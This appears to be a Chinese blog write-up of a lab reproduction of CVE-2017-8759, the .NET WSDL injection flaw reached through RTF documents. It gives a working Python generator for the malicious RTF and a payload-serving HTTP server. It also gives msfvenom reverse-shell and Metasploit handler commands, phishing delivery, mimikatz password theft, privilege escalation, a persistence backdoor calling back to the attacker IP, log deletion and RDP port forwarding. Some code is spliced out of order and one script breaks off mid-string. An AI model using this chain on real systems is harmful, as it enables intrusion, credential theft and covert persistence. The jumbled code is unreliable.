参考:!bhdresh
CVE-2017-8759是一个新型的Office文档高级威胁攻击漏洞,该漏洞允许恶意人士在解析SOAP WSDL的定义内容期间注入任意代码。FireEye公司对该微软Office文档进行了分析,并发现攻击者能够利用代码注入方式下载并执行一份包含PowerShell指令的Visual Basic脚本。黑客在Offcie文档中嵌入新的Moniker对象,利用的是.net库漏洞,在Office文档中加载执行远程的恶意.NET代码。
影响到几乎所有旧版本的 .NET Framework。包括:
Microsoft .NET Framework 2.0 SP2
Microsoft .NET Framework 3.5
Microsoft .NET Framework 3.5.1
Microsoft .NET Framework 4.5.2
Microsoft .NET Framework 4.6
Microsoft .NET Framework 4.6.1
Microsoft .NET Framework 4.6.2
Microsoft .NET Framework 4.7
虚拟机:VMware Fusion
攻击机操作系统:kali
攻击机ip:172.16.73.142
靶机操作系统:windows7 professional x86
靶机ip:172.16.73.140
渗透工具:metasploit,mimikatz,msfvenom
漏洞的整个攻击过程如下:
打开RTF文档(Word)
RTF文档自动请求恶意SOAP Wsdl XML文档
.NET Framework解析Wsdl XML为C#代码
csc.exe将C#代码编译为dll
Word加载dll执行恶意代码
漏洞主要问题出现在 .NET Framework解析上,将远程的xml格式文件编译成c#执行的时候,解析模块中IsValidUrl函数没有正确处理XML中含有换行符的情况,导致调用者函数PrintClientProxy存在代码注入漏洞。
函数PrintClientProxy在处理含有多个location的情况时,会将第一个location保留,其余的全部注释掉(图2红框部分)。然而,注释的处理代码没有考虑location中含有换行符的情况,导致换行符后的代码会被编译成可执行的C#代码。
打开生成的rtf文件请求的恶意soap wsdl xml文件如下:
在
下面的 第二次调用IsValidUrl,传入参数是第二个location,第二个location带有换行符。System.Diagnostics.Process.Start方法会被注入。 生成的代码会被.NET框架的csc.exe编译,然后作为DLL加载到Office可执行程序中。之后编译出的C#代码,刚好注入了恶意代码生成了一个dll文件, word加载编译后的dll。 用ultraedit打开该dll文件。在其中发现: 调用了System.Diagnostics.Process.Start函数,启动mshta.exe去执行远程恶意代码cmd.hta, 恶意的cmd.hta脚本嵌入在一个db后缀的二进制流文件中,在其中写入了shell。 通过ifconfig查看攻击机ip。 通过python脚本生成恶意的rtf文件. root@kali:~# python create.py -w test.rtf -u http://172.16.73.142/logo.txt 利用msfvenom生成一个反弹shell的exe文件,并命名为shell.exe。 msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.73.142 将恶意rtf文件通过邮件钓鱼等手段发送到受害者主机。 再通过脚本listen.py攻击机监听来自文件执行之后反弹的shell。 此时恶意的cmd.hta脚本向受害机的windows/temp/中写入了/tmp/shell.exe并执行。 拿起metasploit就是一把梭(hhhhhhhhhh不是 msfconsole -x “use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 172.16.73.153; run” 打开msf的 multi/handler模块,设置payload方式为reverse_tcp,端口号为172.16.73.153,run开启exploit执行。 可以看到,msf已经接收到来自靶机监听端口的回返信息。 进入shell。 查看用户基本信息:systeminfo 可见是x86系统的。 向用户上传mimikatz的文件,用于抓取用户密码。 【因为msf自带的mimikatz不知道什么神秘原因,根本用不了= =所以用upload命令上传网上的mimikatz】 提升系统权限: 通过ms16那个漏洞来提权。 成功后,返回之前的session中。通过ps命令查看当前受害机中进程。 ms16漏洞利用,pid3396为新增的进程,通过migrate转过去。 然后使用mimikatz抓取密码。 用户名sancrane密码123456 run persistence -U -i 10 -p 4444 -r 172.16.73.153 注销一次。Session关闭。监听模式继续打开,然后再启动。 不用打开恶意程序。直接拿到shell。 Del删除上传的文件。 清除本地日志。 del %WINDIR%*.log /a/s/q/f portwd add –l 4444 –r 127.0.0.1 –p 3389 添加一个端口映射,将远程主机的3389端口映射到本地的4444端口。 成功后,在攻击机上终端中输入 root@kali:~# rdesktop 127.0.0.1:4444 就会弹出受害机的登陆界面。 利用之前获得的用户名密码可以登入啦。 由于 .NET Framework安装非常广泛,而该漏洞影响到几乎所有旧版本的 .NET Framework。复现过程
#!/usr/bin/env python
#coding:utf-8
import os,sys,thread,socket,sys,getopt,binascii,shutil,tempfile
from random import randint
from random import choice
from string import ascii_uppercase
from zipfile import ZipFile, ZIP_STORED, ZipInfo
def main(argv):
global filename
global docuri
filename = ''
docuri = ''
#通过opt处理命令行参数输入
opts, args = getopt.getopt(argv, "w:u",
["filename=", "docuri="])
for opt, arg in opts:
if opt in ("-w", "--filename"):
filename = arg
elif opt in ("-u", "--docuri"):
docuri = arg
generate_exploit_rtf()
sys.exit()
def generate_exploit_rtf():
s=docuri
docuri_hex = "00".join("{:02x}".format(ord(c)) for c in s) #docuri_hex通过读取攻击机ip,转为hex格式的地址。将内嵌一个连接到攻击地址的连接去下载执行shell。
docuri_pad_len = 714 - len(docuri_hex)
#填充
docuri_pad = "0" * docuri_pad_len
#生成的rtf文档内容,会自动请求恶意soap wsdl xml文档。
payload = "{\\rtf1\\adeflang1025\\ansi\\ansicpg1252\\uc1\\adeff31507\\deff0\\stshfdbch31505\\stshfloch31506\\stshfhich31506\\stshfbi31507\\deflang1033\\deflangfe2052\\themelang1033\\themelangfe2052\\themelangcs0\n"
payload += "{\\info\n"
payload += "{\\author }\n"
payload += "{\\operator }\n"
payload += "}\n"
payload += "{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}\n"
payload += "{\n"
payload += "{\\object\\objautlink\\objupdate\\rsltpict\\objw291\\objh230\\objscalex99\\objscaley101\n"
payload += "{\\*\\objclass Word.Document.8}\n"
payload += "{\\*\\objdata 010500000200000008000000e2bae4e53e2231000000000000000000000a0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffdfffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff010000000003000000000000c000000000000046000000000000000000000000f02c1951c8e5d20103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000201ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000d8010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000020000000300000004000000050000000600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0100000209000000010000000000000000000000000000008c010000c7b0abec197fd211978e0000f8757e2a00000000700100007700730064006c003d00" + docuri_hex + docuri_pad + "00ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000}\n"
payload += "{\\result {\\rtlch\\fcs1 \\af31507 \\ltrch\\fcs0 \\insrsid1979324 }}}}\n"
payload += "{\\*\\datastore }\n"
payload += "}\n"
f = open(filename, 'w')
f.write(payload)
f.close()
print "Generated " + filename + " successfully"
if __name__== '__main__':
print("let's start cve-2017-8759,to create a malicious rtf file")
main(sys.argv[1:])
LPORT=4444 -f exe > /tmp/shell.exe#!/usr/bin/env python
#coding:utf-8
import os,sys,thread,socket,sys,getopt,binascii,shutil,tempfile
from random import randint
from random import choice
from string import ascii_uppercase
from zipfile import ZipFile, ZIP_STORED, ZipInfo
BACKLOG = 50
MAX_DATA_RECV = 999999
DEBUG = True
def main(argv):
global port
global host
global payloadurl
global payloadlocation
global custom
global obfuscate
global payloadtype
payloadurl = ''
payloadlocation = ''
custom = ''
port = int("80")
host = ''
mode = ''
obfuscate = int("0")
payloadtype = 'rtf'
opts, args = getopt.getopt(argv, "e:l",
["payloadurl=","payloadlocation="])
for opt, arg in opts:
if opt in ("-e", "--payloadurl"):
payloadurl = arg
elif opt in ("-l", "--payloadlocation"):
payloadlocation = arg
elif opt in ("-p", "--port"):
port = int(arg)
exploitation_rtf()
sys.exit()
def exploitation_rtf():
print "Server Running on ", host, ":", port
try:
# 创建socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接套接字
s.bind((host, port))
# 监听
s.listen(BACKLOG)
except socket.error, (value, message):
if s:
s.close()
print "Could not open socket:", message
sys.exit(1)
# 从客户端取得连接
while 1:
conn, client_addr = s.accept()
# 创建线程处理request
thread.start_new_thread(server_thread, (conn, client_addr))
s.close()
def server_thread(conn, client_addr):
try:
request = conn.recv(MAX_DATA_RECV)
if (len(request) > 0):
first_line = request.split('\n')[0]
method = first_line.split(' ')[0]
try:
url = first_line.split(' ')[1]
except IndexError:
print "Invalid request from " + client_addr[0]
conn.close()
sys.exit(1)
#根据rtf文件请求的soap xsdl xml文件里的地址选择。详情在攻击原理。
if ".exe" in url:
print "Received request for payload from " + client_addr[0]
try:
size = os.path.getsize(payloadlocation)
except OSError:
print "Unable to read " + payloadlocation
conn.close()
sys.exit(1)
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: " + str(
size) + "\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n"
with open(payloadlocation) as fin:
data += fin.read()
conn.send(data)
conn.close()
sys.exit(1)
if ".hta" in url:
print "Received GET method from " + client_addr[0]
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/hta\r\n\r\n\r\n"
conn.send(data)
conn.close()
if ".txt" in url:
print "Received GET method from " + client_addr[0]
data = 'HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 2000\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/plain\r\n\r\n
后续渗透
提升权限:
权限维持:
清除痕迹:
端口转发及远程连接:
其他
修补方法为及时打补丁,以及不要打开来源未知的office文档(包括.rtf,.doc,.ppsx…)。
其实这个去年就写了,但是因为图太多一直懒得整理2333333。感觉自己写的有点啰嗦了。算是内网渗透学习的一个比较经典的漏洞吧。